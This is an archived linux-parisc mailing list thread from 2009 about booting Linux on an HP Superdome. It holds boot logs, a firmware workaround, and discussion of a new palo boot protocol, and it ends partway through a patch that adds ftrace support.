Elroy version TR4.0 (0x5) found at 0xfffffff804008000
Elroy version TR4.0 (0x5) found at 0xfffffff80400c000
Elroy version TR4.0 (0x5) found at 0xfffffff804010000
Elroy version TR4.0 (0x5) found at 0xfffffff804012000
Elroy version TR4.0 (0x5) found at 0xfffffff804014000
Elroy version TR4.0 (0x5) found at 0xfffffff804016000
Elroy version TR4.0 (0x5) found at 0xfffffff804018000
Elroy version TR4.0 (0x5) found at 0xfffffff80401c000
powersw: Soft power switch support not available.
bio: create slab <bio-0> at 0
SCSI subsystem initialized
NET: Registered protocol family 2
IP route cache hash table entries: 524288 (order: 10, 4194304 bytes)
TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
TCP bind hash table entries: 65536 (order: 7, 524288 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP reno registered
NET: Registered protocol family 1
Chassis warnings not supported.
Performance monitoring counters enabled for Caribe W2 800
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
msgmni has been set to 32768
alg: No test for stdrng (krng)
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered (default)
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
serial 0000:00:00.0: enabling device (0146 -> 0147)
0000:00:00.0: ttyS0 at MMIO 0xfffffff000000000 (irq = 65) is a 16550A
console handover: boot [ttyB0] -> real [ttyS0]
0000:00:00.0: ttyS1 at MMIO 0xfffffff000000008 (irq = 65) is a 16550A
0000:00:00.0: ttyS2 at MMIO 0xfffffff000000010 (irq = 65) is a 16550A
brd: module loaded
loop: module loaded
Linux Tulip driver version 1.1.15 (Feb 27, 2007)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21142/43 Tulip rev 65 at Port 0x80, 00:30:6e:0e:b2:5f,
IRQ 65.
sym53c8xx 0000:18:00.0: enabling device (0146 -> 0147)
sym0: <895> rev 0x2 at pci 0000:18:00.0 irq 67
sym0: No NVRAM, ID 7, Fast-40, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.3
scsi 0:0:0:0: ABORT operation started
scsi 0:0:0:0: ABORT operation timed-out.
scsi 0:0:0:0: DEVICE RESET operation started

After that it hangs...

The smaller partion hangs even earlier:

HARD Booted.
palo ipl 1.14 root@duet Sat Apr  8 16:08:16 EDT 2006

Boot image contains:
    0/vmlinux64 6484269 bytes @ 0xa000

Information: No console specified on kernel command line. This is
normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'HOME=/ ip=dhcp console=ttyS0 TERM=vt102
palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing
64-bit kernelELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4456448 mediaptr 0x1000
Segment 1 load 00588000 size 399072 mediaptr 0x441000
Segment 2 load 005ec000 size 266374 mediaptr 0x4a3000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.29-rc3-00000-g33bfad5-dirty (tsbogend@login) (gcc
version 4.2.1) #23 Sat Feb 7 15:16:57 CET 2009
unwind_init: start = 0x404788c0, end = 0x404a53c0, entries = 11440
WARNING: Out of order unwind entry! 000000004047a400 and
000000004047a410
WARNING: Out of order unwind entry! 000000004047a410 and
000000004047a420
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00005e70 00000491 00000000 00000002 3e0f97abec371bc2 00000000
00000008 000000b2 000000b2
vers  00000202
CPUID vers 19 rev 1 (0x00000261)
capabilities 0x3d
model 9000/800/SD32000
parisc_cache_init: Only equivalent aliasing supported!
Total Memory: 8184 MB
Built 1 zonelists in Zone order, mobility grouping on.  Total pages:
2066460
Kernel command line: HOME=/ ip=dhcp console=ttyS0 TERM=vt102
palo_kernel=0/vmlinux
PID hash table entries: 4096 (order: 12, 32768 bytes)
Dentry cache hash table entries: 1048576 (order: 11, 8388608 bytes)
Inode-cache hash table entries: 524288 (order: 10, 4194304 bytes)
Memory: 8231168k/8380416k available (2869k kernel code, 148692k
reserved, 1434k data, 264k init)
virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x000000023f800000   (8184 MB)
      .init : 0x00000000405ec000 - 0x000000004062e000   ( 264 kB)
      .data : 0x00000000403cd650 - 0x0000000040534000   (1434 kB)
      .text : 0x0000000040100000 - 0x00000000403cd650   (2869 kB)
Calibrating delay loop... 1495.04 BogoMIPS (lpj=2990080)
Security Framework initialized
Mount-cache hash table entries: 256
net_namespace: 544 bytes
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Two devices have hardware path [255].  IODC data for second device:
00404e0000abRearranging GSC cards sometimes helps
Two devices have hardware path [255].  IODC data for second device:
00404e0000abRearranging GSC cards sometimes helps
Found devices:
1. Caribe DNA Central Agent at 0xfffffffffc400000 [255] { 14, 0x0,
0x007, 0x000aa }
2. Caribe W2 800 at 0xfffffffffc47a000 [11] { 0, 0x0, 0x5e7, 0x00004 }
3. Caribe W2 800 at 0xfffffffffc47c000 [12] { 0, 0x0, 0x5e7, 0x00004 }
4. Caribe W2 800 at 0xfffffffffc47e000 [13] { 0, 0x0, 0x5e7, 0x00004 }
5. Memory at 0xfffffffffc405000 [5] { 1, 0x0, 0x0a8, 0x00009 }
6. REO I/O BC Merced Port at 0xfffffff888000000 [0] { 7, 0x0, 0x804,
0x0000c }
7. Elroy PCI Bridge at 0xfffffff884000000 [0/0] { 13, 0x0, 0x782,
0x0000a }
8. Elroy PCI Bridge at 0xfffffff884002000 [0/1] { 13, 0x0, 0x782,
0x0000a }
9. Elroy PCI Bridge at 0xfffffff884004000 [0/2] { 13, 0x0, 0x782,
0x0000a }
10. Elroy PCI Bridge at 0xfffffff884006000 [0/3] { 13, 0x0, 0x782,
0x0000a }
11. Elroy PCI Bridge at 0xfffffff884008000 [0/4] { 13, 0x0, 0x782,
0x0000a }
12. Elroy PCI Bridge at 0xfffffff88400c000 [0/6] { 13, 0x0, 0x782,
0x0000a }
13. Elroy PCI Bridge at 0xfffffff884010000 [0/8] { 13, 0x0, 0x782,
0x0000a }
14. Elroy PCI Bridge at 0xfffffff884012000 [0/9] { 13, 0x0, 0x782,
0x0000a }
15. Elroy PCI Bridge at 0xfffffff884014000 [0/10] { 13, 0x0, 0x782,
0x0000a }
16. Elroy PCI Bridge at 0xfffffff884016000 [0/11] { 13, 0x0, 0x782,
0x0000a }
17. Elroy PCI Bridge at 0xfffffff884018000 [0/12] { 13, 0x0, 0x782,
0x0000a }
18. Elroy PCI Bridge at 0xfffffff88401c000 [0/14] { 13, 0x0, 0x782,
0x0000a }
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 12 failed with error 1
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 13 failed with error 1
CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
Setting cache flush threshold to 180000 (1 CPUs online)
SBA found REO rev 2 at 0xfffffff888000000
Elroy version TR4.0 (0x5) found at 0xfffffff884000000


First guess would be some PCI setup issues... Any hints ?


BTW. I've tried with __PAGE_OFFSET=0x10000000 and __PAGE_OFFSET=0x40000000
and it doesn't make difference. The boot logs are from a kernel with
only the following hack:

diff --git a/arch/parisc/kernel/firmware.c
b/arch/parisc/kernel/firmware.c
index 03f26bd..a3fb7ef 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -153,12 +153,14 @@ static void convert_to_wide(unsigned long *addr)
 #ifdef CONFIG_64BIT
 void __init set_firmware_width_unlocked(void)
 {
+#if 0
        int ret;

        ret = mem_pdc_call(PDC_MODEL, PDC_MODEL_CAPABILITIES,
                __pa(pdc_result), 0);
        convert_to_wide(pdc_result);
        if (pdc_result[0] != NARROW_FIRMWARE)
+#endif
                parisc_narrow_firmware = 0;
 }

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hacking SuperDome
Date: Sat, 7 Feb 2009 23:30:32 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <20090208043032.GA11398@bombadil.infradead.org>
References: <20090207142906.GA8553@alpha.franken.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234067447 17975 80.91.229.12 (8 Feb 2009 04:30:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Feb 2009 04:30:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 08 05:31:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LW1Kl-00022V-Pt
	for glpp-linux-parisc@gmane.org; Sun, 08 Feb 2009 05:31:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752483AbZBHEad (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 7 Feb 2009 23:30:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752623AbZBHEad
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 7 Feb 2009 23:30:33 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47218 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752483AbZBHEad (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 7 Feb 2009 23:30:33 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LW1JQ-0003M7-BA; Sun, 08 Feb 2009 04:30:32 +0000
Content-Disposition: inline
In-Reply-To: <20090207142906.GA8553@alpha.franken.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1262
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1262>

Oh, I'm jealous now. :)

On Sat, Feb 07, 2009 at 03:29:06PM +0100, Thomas Bogendoerfer wrote:
> +#if 0
>         int ret;
> 
>         ret = mem_pdc_call(PDC_MODEL, PDC_MODEL_CAPABILITIES,
>                 __pa(pdc_result), 0);
>         convert_to_wide(pdc_result);
>         if (pdc_result[0] != NARROW_FIRMWARE)
> +#endif

Yeah, this won't work on Superdome, which has no 32-bit firmware. At
this point in boot, we've got parisc_narrow_firmware set, which will
go kaboom.

We can fix this pretty easily, palo knows if it was started with 64-bit
firmware, we can just bring this into the kernel. I'll hack a patch for
palo this weekend, but you might as well continue just using what you've
got until then.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hacking SuperDome
Date: Sun, 8 Feb 2009 04:33:07 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20090208113307.GE31509@parisc-linux.org>
References: <20090207142906.GA8553@alpha.franken.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234092800 969 80.91.229.12 (8 Feb 2009 11:33:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Feb 2009 11:33:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 08 12:34:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LW7vj-0006br-UW
	for glpp-linux-parisc@gmane.org; Sun, 08 Feb 2009 12:34:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751341AbZBHLdK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 8 Feb 2009 06:33:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752161AbZBHLdK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 8 Feb 2009 06:33:10 -0500
Original-Received: from palinux.external.hp.com ([192.25.206.14]:52186 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751341AbZBHLdI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 8 Feb 2009 06:33:08 -0500
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 1E7D9494006; Sun,  8 Feb 2009 04:33:08 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20090207142906.GA8553@alpha.franken.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1263
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1263>

On Sat, Feb 07, 2009 at 03:29:06PM +0100, Thomas Bogendoerfer wrote:
> The bigger partition produces following boot log:
[...]
> sym0: <895> rev 0x2 at pci 0000:18:00.0 irq 67
> sym0: No NVRAM, ID 7, Fast-40, LVD, parity checking
> sym0: SCSI BUS has been reset.
> scsi0 : sym-2.2.3
> scsi 0:0:0:0: ABORT operation started
> scsi 0:0:0:0: ABORT operation timed-out.
> scsi 0:0:0:0: DEVICE RESET operation started
> 
> After that it hangs...

Generally, this means that interrupts are broken; sym2 didn't get an
interrupt saying the command completed.

Looking through the rest of the log, I don't see any information
pertaining to interrupt setup.  I forget whether we have debug related
to interrupts, but I bet we do ...

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hacking SuperDome
Date: Sun, 8 Feb 2009 12:05:16 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20090208170516.GB11398@bombadil.infradead.org>
References: <20090207142906.GA8553@alpha.franken.de> <20090208043032.GA11398@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234112729 21775 80.91.229.12 (8 Feb 2009 17:05:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Feb 2009 17:05:29 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 08 18:06:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LWD7B-0006se-Lr
	for glpp-linux-parisc@gmane.org; Sun, 08 Feb 2009 18:06:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751623AbZBHRFS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 8 Feb 2009 12:05:18 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752599AbZBHRFS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 8 Feb 2009 12:05:18 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:58528 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751623AbZBHRFS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 8 Feb 2009 12:05:18 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LWD5o-0001dX-SK; Sun, 08 Feb 2009 17:05:16 +0000
Content-Disposition: inline
In-Reply-To: <20090208043032.GA11398@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1264
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1264>

On Sat, Feb 07, 2009 at 11:30:32PM -0500, Kyle McMartin wrote:
> We can fix this pretty easily, palo knows if it was started with 64-bit
> firmware, we can just bring this into the kernel. I'll hack a patch for
> palo this weekend, but you might as well continue just using what you've
> got until then.
> 

I'd forgotten how simplistic our boot protocol is... we've really got
very little way to communicate, well, anything extra, since we didn't
sanitize the other unused registers before branching to the kernel
entrypoint.

Current plan is to define an extensible v2 palo format, using a
4096-byte data page (similar to the command line) and use the top
2048-bytes for the command line (so maybe people will whinge less.)

It's ugly, but aside from doing some ELF jiggery pokery or something, or
reading the first couple instructions from the kernel, we've fairly
little choice... I've decided that since %ret0 is guaranteed to have
the start address of _stext in it, since we returned it from iplload,
I'll just 'borrow' that as a flag to use the v2 boot protocol.
(ie: if %ret0 isn't 0x10000, use v2.)

This may seem unnecessary, but really, we might as well, I seem to
recall d-i running into the command line length being an issue earlier.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hacking SuperDome
Date: Sun, 8 Feb 2009 16:15:33 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <20090208231533.GI31509@parisc-linux.org>
References: <20090207142906.GA8553@alpha.franken.de> <20090208043032.GA11398@bombadil.infradead.org> <20090208170516.GB11398@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234134944 26252 80.91.229.12 (8 Feb 2009 23:15:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Feb 2009 23:15:44 +0000 (UTC)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 09 00:16:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LWItV-0002It-3i
	for glpp-linux-parisc@gmane.org; Mon, 09 Feb 2009 00:16:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753416AbZBHXPf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 8 Feb 2009 18:15:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753453AbZBHXPf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 8 Feb 2009 18:15:35 -0500
Original-Received: from palinux.external.hp.com ([192.25.206.14]:33234 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753416AbZBHXPe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 8 Feb 2009 18:15:34 -0500
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id DBC80494005; Sun,  8 Feb 2009 16:15:33 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20090208170516.GB11398@bombadil.infradead.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1265
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1265>

On Sun, Feb 08, 2009 at 12:05:16PM -0500, Kyle McMartin wrote:
> I'd forgotten how simplistic our boot protocol is... we've really got
> very little way to communicate, well, anything extra, since we didn't
> sanitize the other unused registers before branching to the kernel
> entrypoint.

The usual solution to this is to put a magic value in a register.  For
example, mount(2) has 0xC0ED in the upper 16 bits of the flag register.
We're not exactly short on registers, so if one of the unused ones is
set to, say 0x0c2cd240, we would know that we're using the v2 protocol.

> Current plan is to define an extensible v2 palo format, using a
> 4096-byte data page (similar to the command line) and use the top
> 2048-bytes for the command line (so maybe people will whinge less.)

Heck, we could put a pointer in the data page, and have the command line
an unlimited length.  Or make one of the unused registers be the command
line.

> It's ugly, but aside from doing some ELF jiggery pokery or something, or
> reading the first couple instructions from the kernel, we've fairly
> little choice... I've decided that since %ret0 is guaranteed to have
> the start address of _stext in it, since we returned it from iplload,
> I'll just 'borrow' that as a flag to use the v2 boot protocol.
> (ie: if %ret0 isn't 0x10000, use v2.)

I'm fully in support, as long as a new palo will boot an old kernel, and
vice versa.  This doesn't seem like it would be too hard.

(Obviously, if you're using an old palo or an old kernel, you have to
live with the limitations of the v1 protocol).

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add ftrace (function and graph tracer) functionality
Date: Mon, 09 Feb 2009 00:43:36 +0100
Lines: 410
Approved: news@gmane.org
Message-ID: <498F6E28.7060209@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1234136610 29955 80.91.229.12 (8 Feb 2009 23:43:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Feb 2009 23:43:30 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 09 00:44:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LWJKN-0000IH-UP
	for glpp-linux-parisc@gmane.org; Mon, 09 Feb 2009 00:44:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751623AbZBHXnW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 8 Feb 2009 18:43:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752988AbZBHXnW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 8 Feb 2009 18:43:22 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:54159 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751623AbZBHXnU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 8 Feb 2009 18:43:20 -0500
Original-Received: (qmail invoked by alias); 08 Feb 2009 23:43:18 -0000
Original-Received: from mnhm-590f61a3.pool.einsundeins.de (EHLO halden.box) [89.15.97.163]
  by mail.gmx.net (mp015) with SMTP; 09 Feb 2009 00:43:18 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18DVwcKbSUDv5QSzXVctpmBYuascFUyao/KKed6aA
	9j7IV8cuBGplzw
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.41
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1266
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1266>

This patch adds the ftrace debugging functionality to the parisc kernel.
It will currently only work with 64bit kernels, because the gcc options -pg
and -ffunction-sections can't be enabled at the same time and -ffunction-sections
is still needed to be able to link 32bit kernels.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index aacf11d..7fbe029 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -9,6 +9,9 @@ config PARISC
 	def_bool y
 	select HAVE_IDE
 	select HAVE_OPROFILE
+	select HAVE_FUNCTION_TRACER if 64BIT
+	select HAVE_FUNCTION_GRAPH_TRACER if 64BIT
+	select HAVE_FUNCTION_TRACE_MCOUNT_TEST if 64BIT
 	select RTC_CLASS
 	select RTC_DRV_PARISC
 	select INIT_ALL_POSSIBLE
diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 0d42827..da6f669 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -56,7 +56,9 @@ cflags-y	+= -mdisable-fpregs
 
 # Without this, "ld -r" results in .text sections that are too big
 # (> 0x40000) for branches to reach stubs.
-cflags-y	+= -ffunction-sections
+ifndef CONFIG_FUNCTION_TRACER
+  cflags-y	+= -ffunction-sections
+endif
 
 # select which processor to optimise for
 cflags-$(CONFIG_PA7100)		+= -march=1.1 -mschedule=7100
diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
index 016d3fc..8be0267 100644
--- a/arch/parisc/kernel/Makefile
+++ b/arch/parisc/kernel/Makefile
@@ -11,6 +11,18 @@ obj-y	     	:= cache.o pacache.o setup.o traps.o time.o irq.o \
 		   process.o processor.o pdc_cons.o pdc_chassis.o unwind.o \
 		   topology.o
 
+ifdef CONFIG_FUNCTION_TRACER
+# Do not profile debug and lowlevel utilities
+CFLAGS_REMOVE_ftrace.o = -pg
+CFLAGS_REMOVE_cache.o = -pg
+CFLAGS_REMOVE_irq.o = -pg
+CFLAGS_REMOVE_pacache.o = -pg
+CFLAGS_REMOVE_perf.o = -pg
+CFLAGS_REMOVE_traps.o = -pg
+CFLAGS_REMOVE_unaligned.o = -pg
+CFLAGS_REMOVE_unwind.o = -pg
+endif
+
 obj-$(CONFIG_SMP)	+= smp.o
 obj-$(CONFIG_PA11)	+= pci-dma.o
 obj-$(CONFIG_PCI)	+= pci.o
@@ -18,3 +30,5 @@ obj-$(CONFIG_MODULES)	+= module.o
 obj-$(CONFIG_64BIT)	+= binfmt_elf32.o sys_parisc32.o signal32.o
 # only supported for PCX-W/U in 64-bit mode at the moment
 obj-$(CONFIG_64BIT)	+= perf.o perf_asm.o
+obj-$(CONFIG_FUNCTION_TRACER)		+= ftrace.o
+obj-$(CONFIG_FUNCTION_GRAPH_TRACER)	+= ftrace.o
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 0f7ff93..b2e163c 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -2176,6 +2176,33 @@ syscall_do_resched:
 ENDPROC(syscall_exit)
 
 
+#ifdef CONFIG_FUNCTION_TRACER
+	.import ftrace_function_trampoline,code
+ENTRY(_mcount)
+	copy	%r3, %arg2
+	b	ftrace_function_trampoline
+	nop
+ENDPROC(_mcount)
+
+ENTRY(return_to_handler)
+	load32	return_trampoline, %rp
+	copy	%ret0, %arg0
